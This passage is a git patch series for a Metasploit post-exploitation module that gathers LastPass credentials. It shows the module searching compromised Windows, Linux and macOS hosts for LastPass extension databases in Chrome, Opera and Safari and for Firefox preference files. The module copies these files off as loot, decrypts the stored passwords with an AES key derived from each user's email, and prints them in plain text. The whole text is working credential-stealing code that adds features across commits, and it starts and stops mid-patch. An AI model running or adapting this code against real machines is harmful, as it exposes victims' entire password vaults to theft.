'Safari') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - - print_line "" - end - elsif os =~ /XP/ - for user_profile in user_profiles - print_status "Found user: #{user_profile['UserName']}" - - #Check Chrome - print_status 'Checking in Chrome...' - path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - file_paths = get_file_paths(path, 'Chrome') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - - #Check Opera - print_status 'Checking in Opera...' - path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" - file_paths = get_file_paths(path, 'Opera') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - - #Check Safari - print_status 'Checking in Safari...' - path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" - file_paths = get_file_paths(path, 'Safari') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - - print_line "" - end - else - print_error "OS not recognized: #{os}" - return nil - end - - when /unix|linux/ - for user_profile in user_profiles - print_status "Found user: #{user_profile['UserName']}" - - #Check Chrome - path = "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - file_paths = get_file_paths(path, 'Chrome') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - end - - when /osx/ - for user_profile in user_profiles - print_status "Found user: #{user_profile['UserName']}" - - #Check Chrome - path = "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - file_paths = get_file_paths(path, 'Chrome') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - - #Check Safari - path = "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" - file_paths = get_file_paths(path, 'Safari') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - - #Check Opera - path = "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" - file_paths = get_file_paths(path, 'Opera') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - end - - else - raise 'platform not recognized: ' << platform - end - - return found_dbs_paths.flatten - end - - - - # Returns the relevant information from user profiles - def get_user_profiles() - case session.platform - when /unix|linux/ - user_profiles = Array.new - - user_names = session.shell_command("ls /home").split - for user_name in user_names - user_profiles.push({'UserName' => user_name, "LocalAppData" => "/home/#{user_name}"}) - end - - return user_profiles - - when /osx/ - user_profiles = Array.new - - user_names = session.shell_command("ls /Users").split - for user_name in user_names - user_profiles.push({'UserName' => user_name, "AppData" => "/Users/#{user_name}/Library", "LocalAppData" => "/Users/#{user_name}/Library/Application Support"}) if user_name != 'Shared' - end - - return user_profiles - - when /win/ - return grab_user_profiles() - else - print_error "OS not recognized: #{os}" - return nil - end - end + if found_dbs_paths.size > 0 + print_good "Found #{found_dbs_paths.size} database/s in #{browser}" + return found_dbs_paths + else + print_status "No databases found for #{browser}" + return nil + end + end - # Extracts the databases paths from the given folder ignoring . and .. - def get_file_paths(path, browser) - found_dbs_paths = Array.new + # Decrypts the password + def clear_text_password(email, encrypted_data) + return if encrypted_data.blank? - if directory?(path) - if session.type == "meterpreter" - files = client.fs.dir.entries(path) - for file_path in files - found_dbs_paths.push(File.join(path, file_path)) if file_path != '.' and file_path != '..' - end - - elsif session.type == "shell" - files = session.shell_command("ls \"#{path}\"").split - for file_path in files - found_dbs_paths.push(File.join(path, file_path)) if file_path != 'Shared' - end - - else - print_error "Session type not recognized: #{session.type}" - return nil - end - end - - if found_dbs_paths.size > 0 - print_good "Found #{found_dbs_paths.size} database/s in #{browser}" - return found_dbs_paths - else - print_status "No databases found for #{browser}" - return nil - end - end + sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email) + sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin + if encrypted_data.include?("|") # Apply CBC + decipher = OpenSSL::Cipher.new("AES-256-CBC") + decipher.decrypt + decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary + decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | + encrypted_password = encrypted_data[26..-1] + begin + decipher_result = decipher.update(Base64.decode64(encrypted_password)) + decipher.final + rescue + print_error "Password could not be decrypted" + return nil + end + else # Apply ECB + decipher = OpenSSL::Cipher.new("AES-256-ECB") + decipher.decrypt + decipher.key = sha256_binary_email + begin + decipher_result = decipher.update(Base64.decode64(encrypted_data)) + decipher.final + rescue + print_error "Password could not be decrypted" + return nil + end + end - # Decrypts the password - def getClearTextPassword(email, encrypted_data) - return if encrypted_data.blank? - - sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email); - sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin - - if encrypted_data.include?("|") # Apply CBC - decipher = OpenSSL::Cipher.new("AES-256-CBC") - decipher.decrypt - decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary - decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | - encrypted_password = encrypted_data[26..-1] - begin - decipher_result = decipher.update( Base64.decode64(encrypted_password) ) + decipher.final - rescue - print_error "Password could not be decrypted" - return nil - end - - else # Apply ECB - decipher = OpenSSL::Cipher.new("AES-256-ECB") - decipher.decrypt - decipher.key = sha256_binary_email - begin - decipher_result = decipher.update( Base64.decode64(encrypted_data) ) + decipher.final - rescue - print_error "Password could not be decrypted" - return nil - end - end - - return decipher_result - end - + decipher_result + end end From 47794510c3125a61410b5b4ed0839de0c25d5db6 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Mon, 6 Oct 2014 02:23:54 -0700 Subject: [PATCH 08/24] Add support for Firefox in XP --- modules/post/multi/gather/lastpass_creds.rb | 93 +++++++++++++++++---- 1 file changed, 79 insertions(+), 14 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index a82dcafb1d..dd6ae99e01 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -1,6 +1,7 @@ require 'msf/core' require 'base64' require 'sqlite3' +require 'uri' class Metasploit3 < Msf::Post include Msf::Post::File @@ -28,7 +29,6 @@ class Metasploit3 < Msf::Post print_status "Searching for LastPass databases..." db_paths = database_paths # Find databases and get the remote paths - if db_paths.size == 0 # Found any database? print_status "No databases found" return @@ -36,29 +36,49 @@ class Metasploit3 < Msf::Post print_status "Looking for credentials in all databases found..." + credentials = [] db_paths.each do |db_path| - # Read and store the remote database locally - data = read_file(db_path) - loot_path = store_loot('lastpass.database', 'application/x-sqlite3', data, nil, "LastPass database #{db_path}") + if db_path =~ /Mozilla/ # Firefox + password_line = nil + # Read and store the remote preferences file locally + data = read_file(db_path) + loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{db_path}") - # Parsing/Querying the DB - db = SQLite3::Database.new(loot_path) - query_result = db.execute("SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';") + # Parse preference file + user_line = password_line = nil + File.readlines(loot_path).each do |line| + user_line = line if (line['extensions.lastpass.loginusers']) + password_line = line if (line['extensions.lastpass.loginpws']) + end + + # Extract usernames and passwords + user_line.match(/user_pref\("extensions.lastpass.loginusers", "(.*)"\);/) ? encoded_username = user_line.match(/user_pref\("extensions.lastpass.loginusers", "(.*)"\);/)[1] : encoded_username = nil + password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/) ? encoded_password = password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/)[1] : encoded_password = nil + credentials.push([URI.unescape(encoded_username), Base64.decode64(encoded_password)]) unless encoded_username.nil? || encoded_password.nil? - query_result.each do |row| # Decrypt passwords + elsif db_path =~ /Explorer/ # Internet Explorer + + else # Chrome, Safari and Opera + # Read and store the remote database locally + data = read_file(db_path) + loot_path = store_loot('lastpass.database', 'application/x-sqlite3', session, data, nil, "LastPass database #{db_path}") + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + credentials = db.execute("SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';") + end + + # Parse and decrypt credentials + credentials.each do |row| # Decrypt passwords print_status "Decrypting password for user #{row[0]}..." password = clear_text_password(row[0], row[1]) - if password.blank? - print_error "Username: '#{row[0]}' (Password was not found/decrypted)" - else - print_good("Username: '#{row[0]}' -> Password: '#{password}'") - end + print_good("Username: '#{row[0]}' -> Password: '#{password}'") unless password.blank? + print_line "" end end end - # Finds the databases in the victim's machine def database_paths # Based on https://lastpass.com/support.php?cmd=showfaq&id=425 platform = session.platform @@ -96,6 +116,17 @@ class Metasploit3 < Msf::Post user_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" + # Check Firefox + print_status 'Checking in Firefox...' + profiles = profile_paths("#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", "Firefox") + if profiles + print_good "Found #{profiles.size} profile files in Firefox" + profiles.each do |profile_path| + file_paths = ["#{profile_path}\\prefs.js"] + found_dbs_paths.push(file_paths) unless file_paths.nil? + end + end + # Check Chrome print_status 'Checking in Chrome...' path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" @@ -226,6 +257,40 @@ class Metasploit3 < Msf::Post + # Returns the profile path for Firefox + def profile_paths(path, browser) + found_dbs_paths = [] + + if directory?(path) + if session.type == "meterpreter" + files = client.fs.dir.entries(path) + files.each do |file_path| + found_dbs_paths.push(File.join(path, file_path).gsub("/","\\")) if file_path != '.' && file_path != '..' + end + + elsif session.type == "shell" + files = session.shell_command("ls \"#{path}\"").split + files.each do |file_path| + found_dbs_paths.push(File.join(path, file_path).gsub("/","\\")) + end + + else + print_error "Session type not recognized: #{session.type}" + return nil + end + end + + if found_dbs_paths.size > 0 + return found_dbs_paths + else + print_status "No profile paths found for #{browser}" + return nil + end + end + + + + # Decrypts the password def clear_text_password(email, encrypted_data) return if encrypted_data.blank? From 8fc0f0955ec11f4968f7b97249e6bfa6aa18c27b Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Sun, 12 Oct 2014 22:23:55 -0700 Subject: [PATCH 09/24] Add support for Firefox --- modules/post/multi/gather/lastpass_creds.rb | 110 ++++++++++++++------ 1 file changed, 77 insertions(+), 33 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index dd6ae99e01..7baa5f1305 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -36,28 +36,21 @@ class Metasploit3 < Msf::Post print_status "Looking for credentials in all databases found..." - credentials = [] + credentials = [] # All credentials to be decrypted db_paths.each do |db_path| - if db_path =~ /Mozilla/ # Firefox + if db_path =~ /Mozilla/i # Firefox password_line = nil # Read and store the remote preferences file locally data = read_file(db_path) loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{db_path}") - # Parse preference file - user_line = password_line = nil - File.readlines(loot_path).each do |line| - user_line = line if (line['extensions.lastpass.loginusers']) - password_line = line if (line['extensions.lastpass.loginpws']) + # Extract usernames and passwords from preference file + firefox_encoded_creds = firefox_credentials(loot_path) + next unless firefox_encoded_creds + firefox_encoded_creds.each do |creds| + credentials.push([URI.unescape(creds[0]), URI.unescape(creds[1])]) unless creds[0].nil? || creds[1].nil? end - - # Extract usernames and passwords - user_line.match(/user_pref\("extensions.lastpass.loginusers", "(.*)"\);/) ? encoded_username = user_line.match(/user_pref\("extensions.lastpass.loginusers", "(.*)"\);/)[1] : encoded_username = nil - password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/) ? encoded_password = password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/)[1] : encoded_password = nil - credentials.push([URI.unescape(encoded_username), Base64.decode64(encoded_password)]) unless encoded_username.nil? || encoded_password.nil? - elsif db_path =~ /Explorer/ # Internet Explorer - else # Chrome, Safari and Opera # Read and store the remote database locally data = read_file(db_path) @@ -72,28 +65,37 @@ class Metasploit3 < Msf::Post credentials.each do |row| # Decrypt passwords print_status "Decrypting password for user #{row[0]}..." password = clear_text_password(row[0], row[1]) - print_good("Username: '#{row[0]}' -> Password: '#{password}'") unless password.blank? + print_good("Username: '#{row[0]}' => Password: '#{password}' (Discard outer single quotes)") unless password.blank? print_line "" end end end - # Finds the databases in the victim's machine - def database_paths # Based on https://lastpass.com/support.php?cmd=showfaq&id=425 + def database_paths platform = session.platform found_dbs_paths = [] - user_profiles = user_profiles + existing_profiles = user_profiles case platform when /win/ os = session.sys.config.sysinfo['OS'] - user_profiles = grab_user_profiles if os =~ /Vista|Windows 7|Windows 8/ - user_profiles.each do |user_profile| + existing_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" + # Check Firefox + print_status 'Checking in Firefox...' + profiles = profile_paths("#{user_profile['AppData']}\\Mozilla\Firefox\Profiles", "Firefox") + if profiles + print_good "Found #{profiles.size} profile files in Firefox" + profiles.each do |profile_path| + file_paths = ["#{profile_path}\\prefs.js"] + found_dbs_paths.push(file_paths) unless file_paths.nil? + end + end + # Check Chrome path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" file_paths = file_paths(path, 'Chrome') @@ -113,7 +115,7 @@ class Metasploit3 < Msf::Post end elsif os =~ /XP/ - user_profiles.each do |user_profile| + existing_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" # Check Firefox @@ -154,9 +156,20 @@ class Metasploit3 < Msf::Post end when /unix|linux/ - user_profiles.each do |user_profile| + existing_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" + # Check Firefox + print_status 'Checking in Firefox...' + profiles = profile_paths("#{user_profile['LocalAppData']}/.mozilla/firefox", "Firefox") + if profiles + print_good "Found #{profiles.size} profile files in Firefox" + profiles.each do |profile_path| + file_paths = ["#{profile_path}/prefs.js"] + found_dbs_paths.push(file_paths) unless file_paths.nil? + end + end + # Check Chrome path = "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" file_paths = file_paths(path, 'Chrome') @@ -164,9 +177,20 @@ class Metasploit3 < Msf::Post end when /osx/ - user_profiles.each do |user_profile| + existing_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" + # Check Firefox + print_status 'Checking in Firefox...' + profiles = profile_paths("#{user_profile['LocalAppData']}\\Firefox\\Profiles", "Firefox") + if profiles + print_good "Found #{profiles.size} profile files in Firefox" + profiles.each do |profile_path| + file_paths = ["#{profile_path}\\prefs.js"] + found_dbs_paths.push(file_paths) unless file_paths.nil? + end + end + # Check Chrome path = "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" file_paths = file_paths(path, 'Chrome') @@ -191,15 +215,18 @@ class Metasploit3 < Msf::Post found_dbs_paths.flatten end - # Returns the relevant information from user profiles def user_profiles case session.platform when /unix|linux/ user_profiles = [] - user_names = session.shell_command("ls /home").split + if session.type == "meterpreter" + user_names = client.fs.dir.entries("/home") + else + user_names = session.shell_command("ls /home").split + end user_names.each do |user_name| - user_profiles.push({ 'UserName' => user_name, "LocalAppData" => "/home/#{user_name} "}) + user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}") if user_name != '.' && user_name != '..' end return user_profiles @@ -208,7 +235,7 @@ class Metasploit3 < Msf::Post user_profiles = [] user_names = session.shell_command("ls /Users").split user_names.each do |user_name| - user_profiles.push({ 'UserName' => user_name, "AppData" => "/Users/#{user_name}/Library", "LocalAppData" => "/Users/#{user_name}/Library/Application Support" }) if user_name != 'Shared' + user_profiles.push('UserName' => user_name, "AppData" => "/Users/#{user_name}/Library", "LocalAppData" => "/Users/#{user_name}/Library/Application Support") if user_name != 'Shared' end return user_profiles @@ -221,8 +248,6 @@ class Metasploit3 < Msf::Post end end - - # Extracts the databases paths from the given folder ignoring . and .. def file_paths(path, browser) found_dbs_paths = [] @@ -255,8 +280,6 @@ class Metasploit3 < Msf::Post end end - - # Returns the profile path for Firefox def profile_paths(path, browser) found_dbs_paths = [] @@ -265,13 +288,13 @@ class Metasploit3 < Msf::Post if session.type == "meterpreter" files = client.fs.dir.entries(path) files.each do |file_path| - found_dbs_paths.push(File.join(path, file_path).gsub("/","\\")) if file_path != '.' && file_path != '..' + found_dbs_paths.push(File.join(path, file_path)) if file_path != '.' && file_path != '..' && file_path.match(/.*\.default/) end elsif session.type == "shell" files = session.shell_command("ls \"#{path}\"").split files.each do |file_path| - found_dbs_paths.push(File.join(path, file_path).gsub("/","\\")) + found_dbs_paths.push(File.join(path, file_path)) if file_path.match(/.*\.default/) end else @@ -288,8 +311,29 @@ class Metasploit3 < Msf::Post end end + # Parses the Firefox preferences file and returns encoded credentials + def firefox_credentials(loot_path) + credentials = [] + password_line = nil + File.readlines(loot_path).each do |line| + password_line = line if line['extensions.lastpass.loginpws'] + end + return nil unless password_line + if password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/) + encoded_credentials = password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/)[1] + else + return nil + end + + creds_per_user = encoded_credentials.split("|") + creds_per_user.each do |user_creds| + credentials.push(user_creds.split("=")) if user_creds.split("=").size > 1 # Any valid credentials present? + end + + credentials + end # Decrypts the password def clear_text_password(email, encrypted_data) From 5fa39782b8344cbf95876b2fab8a4af5aae01591 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Wed, 15 Oct 2014 21:10:50 -0700 Subject: [PATCH 10/24] Fix unused variable --- modules/post/multi/gather/lastpass_creds.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 7baa5f1305..908b4d20b6 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -39,7 +39,6 @@ class Metasploit3 < Msf::Post credentials = [] # All credentials to be decrypted db_paths.each do |db_path| if db_path =~ /Mozilla/i # Firefox - password_line = nil # Read and store the remote preferences file locally data = read_file(db_path) loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{db_path}") From 2bdc703930da37fa4be82928f6a2c9b3a4b9c9d4 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Wed, 15 Oct 2014 21:16:06 -0700 Subject: [PATCH 11/24] Remove useless condition --- modules/post/multi/gather/lastpass_creds.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 908b4d20b6..4ce12f48fc 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -165,7 +165,7 @@ class Metasploit3 < Msf::Post print_good "Found #{profiles.size} profile files in Firefox" profiles.each do |profile_path| file_paths = ["#{profile_path}/prefs.js"] - found_dbs_paths.push(file_paths) unless file_paths.nil? + found_dbs_paths.push(file_paths) end end From c7e0ced02b46f9f9594da4d8a048f01724185316 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Wed, 15 Oct 2014 21:29:47 -0700 Subject: [PATCH 12/24] Remove useless conditions --- modules/post/multi/gather/lastpass_creds.rb | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 4ce12f48fc..689bce2dfb 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -73,7 +73,6 @@ class Metasploit3 < Msf::Post # Finds the databases in the victim's machine def database_paths platform = session.platform - found_dbs_paths = [] existing_profiles = user_profiles case platform @@ -91,7 +90,7 @@ class Metasploit3 < Msf::Post print_good "Found #{profiles.size} profile files in Firefox" profiles.each do |profile_path| file_paths = ["#{profile_path}\\prefs.js"] - found_dbs_paths.push(file_paths) unless file_paths.nil? + found_dbs_paths.push(file_paths) end end @@ -124,7 +123,7 @@ class Metasploit3 < Msf::Post print_good "Found #{profiles.size} profile files in Firefox" profiles.each do |profile_path| file_paths = ["#{profile_path}\\prefs.js"] - found_dbs_paths.push(file_paths) unless file_paths.nil? + found_dbs_paths.push(file_paths) end end @@ -186,7 +185,7 @@ class Metasploit3 < Msf::Post print_good "Found #{profiles.size} profile files in Firefox" profiles.each do |profile_path| file_paths = ["#{profile_path}\\prefs.js"] - found_dbs_paths.push(file_paths) unless file_paths.nil? + found_dbs_paths.push(file_paths) end end @@ -214,6 +213,14 @@ class Metasploit3 < Msf::Post found_dbs_paths.flatten end + # Returns a list of DB paths in the victims' machine + def find_db_paths(path, browser) + found_dbs_paths = [] + + end + + + # Returns the relevant information from user profiles def user_profiles case session.platform From bb421859d304236b13986b3ab660baa127d6d71c Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Wed, 15 Oct 2014 22:15:54 -0700 Subject: [PATCH 13/24] Refactor code and add support for all Windows --- modules/post/multi/gather/lastpass_creds.rb | 135 ++++++-------------- 1 file changed, 41 insertions(+), 94 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 689bce2dfb..234b1326f9 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -74,83 +74,32 @@ class Metasploit3 < Msf::Post def database_paths platform = session.platform existing_profiles = user_profiles + found_dbs_paths = [] case platform when /win/ os = session.sys.config.sysinfo['OS'] - if os =~ /Vista|Windows 7|Windows 8/ - existing_profiles.each do |user_profile| - print_status "Found user: #{user_profile['UserName']}" + existing_profiles.each do |user_profile| + print_status "Found user: #{user_profile['UserName']}" - # Check Firefox - print_status 'Checking in Firefox...' - profiles = profile_paths("#{user_profile['AppData']}\\Mozilla\Firefox\Profiles", "Firefox") - if profiles - print_good "Found #{profiles.size} profile files in Firefox" - profiles.each do |profile_path| - file_paths = ["#{profile_path}\\prefs.js"] - found_dbs_paths.push(file_paths) - end - end + # Check Firefox + path = "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles" + found_dbs_paths.push(find_db_paths(path, "Firefox")) - # Check Chrome - path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - file_paths = file_paths(path, 'Chrome') - found_dbs_paths.push(file_paths) unless file_paths.nil? + # Check Chrome + path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + found_dbs_paths.push(find_db_paths(path, "Chrome")) - # Check Opera - path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" - file_paths = file_paths(path, 'Opera') - found_dbs_paths.push(file_paths) unless file_paths.nil? + # Check Opera + path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + found_dbs_paths.push(find_db_paths(path, "Opera")) - # Check Safari - path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" - file_paths = file_paths(path, 'Safari') - found_dbs_paths.push(file_paths) unless file_paths.nil? + # Check Safari + path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + found_dbs_paths.push(find_db_paths(path, "Safari")) - print_line "" - end - - elsif os =~ /XP/ - existing_profiles.each do |user_profile| - print_status "Found user: #{user_profile['UserName']}" - - # Check Firefox - print_status 'Checking in Firefox...' - profiles = profile_paths("#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", "Firefox") - if profiles - print_good "Found #{profiles.size} profile files in Firefox" - profiles.each do |profile_path| - file_paths = ["#{profile_path}\\prefs.js"] - found_dbs_paths.push(file_paths) - end - end - - # Check Chrome - print_status 'Checking in Chrome...' - path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - file_paths = file_paths(path, 'Chrome') - found_dbs_paths.push(file_paths) unless file_paths.nil? - - # Check Opera - print_status 'Checking in Opera...' - path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" - file_paths = file_paths(path, 'Opera') - found_dbs_paths.push(file_paths) unless file_paths.nil? - - # Check Safari - print_status 'Checking in Safari...' - path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" - file_paths = file_paths(path, 'Safari') - found_dbs_paths.push(file_paths) unless file_paths.nil? - - print_line "" - end - - else - print_error "OS not recognized: #{os}" - return nil + print_line "" end when /unix|linux/ @@ -158,20 +107,12 @@ class Metasploit3 < Msf::Post print_status "Found user: #{user_profile['UserName']}" # Check Firefox - print_status 'Checking in Firefox...' - profiles = profile_paths("#{user_profile['LocalAppData']}/.mozilla/firefox", "Firefox") - if profiles - print_good "Found #{profiles.size} profile files in Firefox" - profiles.each do |profile_path| - file_paths = ["#{profile_path}/prefs.js"] - found_dbs_paths.push(file_paths) - end - end + path = "#{user_profile['LocalAppData']}/.mozilla/firefox" + found_dbs_paths.push(find_db_paths(path, "Firefox")) # Check Chrome path = "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - file_paths = file_paths(path, 'Chrome') - found_dbs_paths.push(file_paths) unless file_paths.nil? + found_dbs_paths.push(find_db_paths(path, "Chrome")) end when /osx/ @@ -179,30 +120,20 @@ class Metasploit3 < Msf::Post print_status "Found user: #{user_profile['UserName']}" # Check Firefox - print_status 'Checking in Firefox...' - profiles = profile_paths("#{user_profile['LocalAppData']}\\Firefox\\Profiles", "Firefox") - if profiles - print_good "Found #{profiles.size} profile files in Firefox" - profiles.each do |profile_path| - file_paths = ["#{profile_path}\\prefs.js"] - found_dbs_paths.push(file_paths) - end - end + path = "#{user_profile['LocalAppData']}\\Firefox\\Profiles" + found_dbs_paths.push(find_db_paths(path, "Firefox")) # Check Chrome path = "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - file_paths = file_paths(path, 'Chrome') - found_dbs_paths.push(file_paths) unless file_paths.nil? + found_dbs_paths.push(find_db_paths(path, "Chrome")) # Check Safari path = "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" - file_paths = file_paths(path, 'Safari') - found_dbs_paths.push(file_paths) unless file_paths.nil? + found_dbs_paths.push(find_db_paths(path, "Safari")) # Check Opera path = "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" - file_paths = file_paths(path, 'Opera') - found_dbs_paths.push(file_paths) unless file_paths.nil? + found_dbs_paths.push(find_db_paths(path, "Opera")) end else @@ -213,10 +144,26 @@ class Metasploit3 < Msf::Post found_dbs_paths.flatten end - # Returns a list of DB paths in the victims' machine + # Returns a list of DB paths found in the victims' machine def find_db_paths(path, browser) found_dbs_paths = [] + print_status "Checking in #{browser}..." + if browser == "Firefox" # Special case for Firefox + profiles = profile_paths(path, browser) + if profiles + print_good "Found #{profiles.size} profile files in Firefox" + profiles.each do |profile_path| + file_paths = ["#{profile_path}\\prefs.js"] + found_dbs_paths.push(file_paths) + end + end + else + file_paths = file_paths(path, browser) + found_dbs_paths.push(file_paths) unless file_paths.nil? + end + + found_dbs_paths end From 36d6220f8fcfd777de87ee2256306c6ab78d68be Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Wed, 15 Oct 2014 23:13:53 -0700 Subject: [PATCH 14/24] Make use of Rex::Ui::Text::Table --- modules/post/multi/gather/lastpass_creds.rb | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 234b1326f9..20d7cc01e1 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -26,6 +26,8 @@ class Metasploit3 < Msf::Post return end + credentials_table = Rex::Ui::Text::Table.new('Header' => "LastPass credentials", 'Indent' => 1, 'Columns' => ["Username", "Password"]) + print_status "Searching for LastPass databases..." db_paths = database_paths # Find databases and get the remote paths @@ -47,7 +49,7 @@ class Metasploit3 < Msf::Post firefox_encoded_creds = firefox_credentials(loot_path) next unless firefox_encoded_creds firefox_encoded_creds.each do |creds| - credentials.push([URI.unescape(creds[0]), URI.unescape(creds[1])]) unless creds[0].nil? || creds[1].nil? + credentials = [URI.unescape(creds[0]), URI.unescape(creds[1])] unless creds[0].nil? || creds[1].nil? end else # Chrome, Safari and Opera @@ -64,10 +66,10 @@ class Metasploit3 < Msf::Post credentials.each do |row| # Decrypt passwords print_status "Decrypting password for user #{row[0]}..." password = clear_text_password(row[0], row[1]) - print_good("Username: '#{row[0]}' => Password: '#{password}' (Discard outer single quotes)") unless password.blank? 